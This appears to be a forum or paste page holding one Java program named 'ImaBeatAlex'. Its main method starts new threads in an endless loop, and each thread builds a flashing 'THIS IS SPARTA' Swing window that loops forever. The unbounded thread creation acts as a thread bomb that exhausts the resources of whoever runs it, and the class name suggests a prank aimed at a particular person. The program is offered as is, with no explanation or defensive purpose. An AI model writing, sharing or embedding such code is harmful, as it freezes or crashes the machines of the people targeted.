X3non has detected that you have javascript disabled. Some features may require that javascript be enabled to function properly.
import javax.swing.*;import java.awt.*;import java.util.Random; public class ImaBeatAlex implements Runnable { public void run() { doIt(); } public static void main(String[] args) { while(true) { (new Thread(new ImaBeatAlex())).start(); (new Thread(new ImaBeatAlex())).start(); (new Thread(new ImaBeatAlex())).start(); (new Thread(new ImaBeatAlex())).start(); (new Thread(new ImaBeatAlex())).start(); (new Thread(new ImaBeatAlex())).start(); (new Thread(new ImaBeatAlex())).start(); (new Thread(new ImaBeatAlex())).start(); } } public void doIt() { JFrame frame = new JFrame("THIS IS SPARTAAAA"); frame.setSize(500,500); JPanel label12 = new JPanel(); label12.setBackground(Color.BLUE); label12.setSize(500,500); frame.add(label12); JPanel label11 = new JPanel(); label11.setBackground(Color.PINK); label12.add(label11); JPanel label10 = new JPanel(); label10.setBackground(Color.RED); label11.add(label10); JPanel label9 = new JPanel(); label9.setBackground(Color.CYAN); label10.add(label9); JPanel label8 = new JPanel(); label8.setBackground(Color.ORANGE); label9.add(label8); JPanel label7 = new JPanel(); label7.setBackground(Color.GREEN); label8.add(label7); JPanel label6 = new JPanel(); label6.setBackground(Color.PINK); label7.add(label6); JPanel label5 = new JPanel(); label5.setBackground(Color.BLACK); label6.add(label5); JPanel label4 = new JPanel(); label4.setBackground(Color.WHITE); label5.add(label4); JPanel label3 = new JPanel(); label3.setBackground(Color.MAGENTA); label4.add(label3); JPanel label2 = new JPanel(); label2.setBackground(Color.GRAY); label3.add(label2); JPanel label1 = new JPanel(); label1.setBackground(Color.YELLOW); label2.add(label1); JPanel label0 = new JPanel(); label0.setBackground(Color.DARK_GRAY); label1.add(label0); JTextField textField = new JTextField("THIS IS SPARTA!!!!"); label0.add(textField); Random generator = new Random(); frame.setVisible(false); while (true) { try { Thread.sleep(500); } catch(InterruptedException e) {} label0.setBackground(Color.YELLOW); label1.setBackground(Color.GRAY); label2.setBackground(Color.MAGENTA); label3.setBackground(Color.WHITE); label4.setBackground(Color.BLACK); label5.setBackground(new Color( 255,235,205 )); label6.setBackground(Color.GREEN); label7.setBackground(Color.ORANGE); label8.setBackground(Color.CYAN); label9.setBackground(Color.RED); label10.setBackground(Color.PINK); label11.setBackground(Color.BLUE); label12.setBackground(Color.DARK_GRAY); textField.setText(""); try { Thread.sleep(500); } catch(InterruptedException e) {} label0.setBackground(Color.GRAY); label1.setBackground(Color.MAGENTA); label2.setBackground(Color.WHITE); label3.setBackground(Color.BLACK); label4.setBackground(new Color( 255,235,205 )); label5.setBackground(Color.GREEN); label6.setBackground(Color.ORANGE); label7.setBackground(Color.CYAN); label8.setBackground(Color.RED); label9.setBackground(Color.PINK); label10.setBackground(Color.BLUE); label11.setBackground(Color.DARK_GRAY); label12.setBackground(Color.YELLOW); textField.setText("THIS"); try { Thread.sleep(500); } catch(InterruptedException e) {} label0.setBackground(Color.MAGENTA); label1.setBackground(Color.WHITE); label2.setBackground(Color.BLACK); label3.setBackground(new Color( 255,235,205 )); label4.setBackground(Color.GREEN); label5.setBackground(Color.ORANGE); label6.setBackground(Color.CYAN); label7.setBackground(Color.RED); label8.setBackground(Color.PINK); label9.setBackground(Color.BLUE); label10.setBackground(Color.DARK_GRAY); label11.setBackground(Color.YELLOW); label12.setBackground(Color.GRAY); textField.setText("THIS IS"); try { Thread.sleep(500); } catch(InterruptedException e) {} label0.setBackground(Color.WHITE); label1.setBackground(Color.BLACK); label2.setBackground(new Color( 255,235,205 )); label3.setBackground(Color.GREEN); label4.setBackground(Color.ORANGE); label5.setBackground(Color.CYAN); label6.setBackground(Color.RED); label7.setBackground(Color.PINK); label8.setBackground(Color.BLUE); label9.setBackground(Color.DARK_GRAY); label10.setBackground(Color.YELLOW); label11.setBackground(Color.GRAY); label12.setBackground(Color.MAGENTA); textField.setText("THIS IS SPARTA"); try { Thread.sleep(500); } catch(InterruptedException e) {} label0.setBackground(Color.BLACK); label1.setBackground(new Color( 255,235,205 )); label2.setBackground(Color.GREEN); label3.setBackground(Color.ORANGE); label4.setBackground(Color.CYAN); label5.setBackground(Color.RED); label6.setBackground(Color.PINK); label7.setBackground(Color.BLUE); label8.setBackground(Color.DARK_GRAY); label9.setBackground(Color.YELLOW); label10.setBackground(Color.GRAY); label11.setBackground(Color.MAGENTA); label12.setBackground(Color.WHITE); textField.setText("THIS IS SPARTA!!!!"); try { Thread.sleep(250); } catch(InterruptedException e) {} label0.setBackground(Color.WHITE); label1.setBackground(Color.BLACK); label2.setBackground(Color.WHITE); label3.setBackground(Color.BLACK); label4.setBackground(Color.WHITE); label5.setBackground(Color.BLACK); label6.setBackground(Color.WHITE); label7.setBackground(Color.BLACK); label8.setBackground(Color.WHITE); label9.setBackground(Color.BLACK); label10.setBackground(Color.WHITE); label11.setBackground(Color.BLACK); label12.setBackground(Color.WHITE); textField.setText(""); try { Thread.sleep(250); } catch(InterruptedException e) {} label0.setBackground(Color.BLACK); label1.setBackground(Color.WHITE); label2.setBackground(Color.BLACK); label3.setBackground(Color.WHITE); label4.setBackground(Color.BLACK); label5.setBackground(Color.WHITE); label6.setBackground(Color.BLACK); label7.setBackground(Color.WHITE); label8.setBackground(Color.BLACK); label9.setBackground(Color.WHITE); label10.setBackground(Color.BLACK); label11.setBackground(Color.WHITE); label12.setBackground(Color.BLACK); textField.setText("THIS IS SPARTA !!!!"); try { Thread.sleep(250); } catch(InterruptedException e) {} label0.setBackground(Color.WHITE); label1.setBackground(Color.BLACK); label2.setBackground(Color.WHITE); label3.setBackground(Color.BLACK); label4.setBackground(Color.WHITE); label5.setBackground(Color.BLACK); label6.setBackground(Color.WHITE); label7.setBackground(Color.BLACK); label8.setBackground(Color.WHITE); label9.setBackground(Color.BLACK); label10.setBackground(Color.WHITE); label11.setBackground(Color.BLACK); label12.setBackground(Color.WHITE); textField.setText(""); try { Thread.sleep(250); } catch(InterruptedException e) {} label0.setBackground(Color.BLACK); label1.setBackground(Color.WHITE); label2.setBackground(Color.BLACK); label3.setBackground(Color.WHITE); label4.setBackground(Color.BLACK); label5.setBackground(Color.WHITE); label6.setBackground(Color.BLACK); label7.setBackground(Color.WHITE); label8.setBackground(Color.BLACK); label9.setBackground(Color.WHITE); label10.setBackground(Color.BLACK); label11.setBackground(Color.WHITE); label12.setBackground(Color.BLACK); textField.setText("THIS IS SPARTA !!!!"); frame.setLocation(generator.nextInt(1000), generator.nextInt(600)); } } }